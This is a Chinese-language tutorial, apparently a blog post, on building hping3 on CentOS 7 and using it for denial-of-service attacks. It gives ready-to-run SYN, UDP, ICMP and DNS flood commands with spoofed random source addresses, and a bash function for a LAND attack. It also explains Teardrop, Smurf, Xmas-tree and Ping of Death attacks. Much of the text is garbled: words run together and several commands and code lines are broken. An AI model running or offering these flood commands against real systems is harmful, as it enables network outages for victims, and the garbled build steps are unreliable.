要在centos7上安装hping3，请执行以下操作：
在安装从属库之前，请安装以下从属库：
yum-yinstalllibpcapyum-yinstallibpcap-devel yum-yinstalltcl-devel方式一： yum安装yum -y install hping3方式二：安装源代码hping3-20051105.tar.gz#解压缩tarxvfhping3- 2005 11 05.tar.gzcd hping3- 2005 11 05 #配置./coom make install问题1 (安装配置时出错(byte sex.h :22360: error : # errorcannotfindthebyteorderforthisthior
errorcannotfindthebyteordeorforthisarchitecture，fixbytesex.hars.h :190336023360 error : # error“please，editmakakakare
#error 'Please，editmakefileandadd-d byte _ order (big|little ) _ENDIAN”
原因：未指定x86_64下的大小对齐。
解决方法：修改bytesex.h，在defined(_I386__ ) )之后添加defined ) __x86_64__ ) )。
修正前：
#ifdefined(_I386__(||defined ) _alpha__) defined ) _mips__ () defined ) ) mipsel
#ifdefined(_I386__(|defined ) _x86_64__ )_ ||(defined(_MIPS__ ) )
原因： bpf.h的路径不正确。
解决方法：添加软连接/usr/local/include/net/bpf.h。
mkdir-p/usr/local/include/net ln-SF/usr/include/pcap-bpf.h/usr/local/include/net/bpf.h端口扫描
默认源端口：随机
默认源地址攻击机的ip地址
通过eth0网口。 将SYN消息发送到192.168.1.1:80。 源地址为192.168.1.222，时间间隔为1000us。 hping3- ieth0- s 192.168.1.1-p80-a 192.168.1.222-I u1000 #通过eth0网络端口。 将SYN消息发送到192.168.1.1:80。 随机源地址，伪造时间间隔1000us。 hping3- ieth0- s 192.168.1.1-p80-- rand-source-I u1000 #通过eth0网络端口。 将SYN消息发送到192.168.1.1:80。 随机源地址，伪造洪水攻击。 #洪水攻击，最快的攻击。 不显示数据和丢包统计信息。 hping3- ieth0- s 192.168.1.1-p80-- rand-source---flood-I--接口接口名称(otherwisedefaultroucename )
- s--同步设置同步标志
- p-- destport [ ] [ ] destination port (default0) ctrl z inc/dec
- a-- spoof spoof source地址
rand-sourcerandomsourceaddressmode.see theman。
- I--间隔等待(uxforxmicroseconds，for example -i u1000 ) ) ) )。
fastaliasfor-iu 10000 (10包tsforsecond ) )。
A级
lias for -i u1000 (100 packets for second) udp flood # 发送 udp 报文 到 192.168.1.1:80。hping3 --udp 192.168.1.1 -p 80# 发送 udp 报文 到 192.168.1.1:80。伪造随机源地址，洪水攻击。hping3 --udp 192.168.1.1 -p 80 --rand-source --flood icmp flood # 发送 icmp 报文 到 192.168.1.1。hping3 --icmp 192.168.1.1# 发送 icmp 报文 到 192.168.1.1。伪造随机源地址，洪水攻击。hping3 --icmp 192.168.1.1 --rand-source --flood dns flood # 发送 udp 报文 到 192.168.1.1:53。伪造随机源地址，洪水攻击。hping3 --udp 192.168.1.1 -p 53 --rand-source --flood teardropTeardrop攻击是一种拒绝服务攻击。是基于病态分片数据包的攻击方法。
其工作原理是向被攻击者发送多个分片的IP包（IP分片数据包中包括该分片数据包属于哪个数据包以及在数据包中的位置等信息）。
某些操作系统收到含有重叠偏移的伪造分片数据包时将会出现系统崩溃、重启等现象。
-x --morefrag set more fragments flag
-d --data data size (default is 0)
-N --id id (default random)
-g --fragoff set the fragment offset
-c --count packet count
Smurf攻击通过使用将回复地址设置成受害网络的广播地址的ICMP应答请求(ping)数据包，来淹没受害主机，
最终导致该网络的所有主机都对此ICMP应答请求做出答复，导致网络阻塞。
更加复杂的Smurf将源地址改为第三方的受害者，最终导致第三方崩溃。
TCP所有标志位被设置为1的数据包被称为圣诞树数据包（XMas Tree packet），之所以叫这个名是因为这些标志位就像圣诞树上灯一样全部被点亮。
hping3 -SFRP 192.168.1.1 LAND攻击LAND攻击方式采用了特别构造的TCP SYN数据包（通常用于开启一个新的连接），使目标机器开启一个源地址与目标地址均为自身IP地址的空连接，持续地自我应答，消耗系统资源直至崩溃。这种攻击方法与SYN洪泛攻击并不相同。
#!/xfdhf/bashfunction land ( ){local victim_ip=$1hping3 -S ${victim_ip} -p ${victim_port} -a ${victim_ip} --flood}land $* Ping of Death攻击Ping of Death俗称“死拼”。
其攻击原理是攻击者A向受害者B发送一些尺寸超大的ICMP(Ping命令使用的是ICMP报文)报文对其进行攻击(对于有些路由器或系统，在接收到一个这样的报文后，由于处理不当，会造成系统崩溃、死机或重启)。
-d --data data size (default is 0)
-x --morefrag set more fragments flag
-g --fragoff set the fragment offset
-N --id id (default random)
-c --count packet count
Nmap、Netcat、Hping3工具对比
CentOS 安装hping3 错误以及解决方法
华安解密之DDoS攻防汇总贴
hping3_examples
Smurf攻击
LAND攻击
畸形报文攻击种类及防御